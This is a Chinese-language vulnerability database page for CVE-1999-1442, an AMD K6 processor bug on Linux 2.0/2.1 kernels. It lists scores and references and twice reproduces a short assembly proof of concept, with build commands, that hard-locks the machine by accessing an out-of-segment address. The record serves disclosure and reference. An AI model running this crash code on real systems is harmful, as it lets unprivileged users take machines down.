CVE-1999-1442
CVSS7.2
发布时间 :1998-06-22 00:00:00
修订时间 :2008-09-05 16:19:32
NMCOES    

[原文]Bug in AMD K6 processor on Linux 2.0.x and 2.1.x kernels allows local users to cause a denial of service (crash) via a particular sequence of instructions, possibly related to accessing addresses outside of segments.


[CNNVD]AMD K6 Processor 漏洞(CNNVD-199806-016)

        基于Linux 2.0.x和2.1.x kernels的AMD K6 processor中的存在Bug,本地用户借助一个特定的指令序列导致服务拒绝(崩溃),该序列可能与外部的访问地址段有关。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.0.39Linux Kernel 2.0.39
cpe:/o:linux:linux_kernel:2.1.132Linux Kernel 2.1.132

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1442
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1442
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199806-016
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/105
(UNKNOWN)  BID  105
http://www.cs.helsinki.fi/linux/linux-kernel/Year-1998/1998-25/0816.html
(VENDOR_ADVISORY)  MISC  http://www.cs.helsinki.fi/linux/linux-kernel/Year-1998/1998-25/0816.html
http://uwsg.iu.edu/hypermail/linux/kernel/9805.3/0855.html
(VENDOR_ADVISORY)  MISC  http://uwsg.iu.edu/hypermail/linux/kernel/9805.3/0855.html

- 漏洞信息

AMD K6 Processor 漏洞
高危 未知
1998-06-22 00:00:00 2007-05-16 00:00:00
本地  
        基于Linux 2.0.x和2.1.x kernels的AMD K6 processor中的存在Bug,本地用户借助一个特定的指令序列导致服务拒绝(崩溃),该序列可能与外部的访问地址段有关。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19082)

AMD K6 Processor Vulnerability (EDBID:19082)
linux dos
1998-06-01 Verified
0 Poulot-Cazajous
N/A [点击下载]
source: http://www.securityfocus.com/bid/105/info

A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.

Under Linux 2.1.x a bug stops this vulnerability.

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended 
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).

Speculations :
S1) edi must be loaded with the address of something in a deep cache on the 
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an 
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.		

- 漏洞信息

9566
Linux Kernel on AMD K6 Processor Out of Segment DoS
Denial of Service
Loss of Availability

- 漏洞描述

Unknown or Incomplete

- 时间线

1998-06-01 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

AMD K6 Processor Vulnerability
Unknown 105
No No
1998-06-01 12:00:00 2009-07-11 12:16:00
This vulnerability was published by Benoit Poulot-Cazajous <poulot@sunchorus.france.sun.com> in the linux-kernel mailing list on June 01, 1998.

- 受影响的程序版本

AMD K6

- 漏洞讨论

A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.

Under Linux 2.1.x a bug stops this vulnerability.

- 漏洞利用

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
&lt;lockup. hard reset required&gt;

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).

Speculations :
S1) edi must be loaded with the address of something in a deep cache on the
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站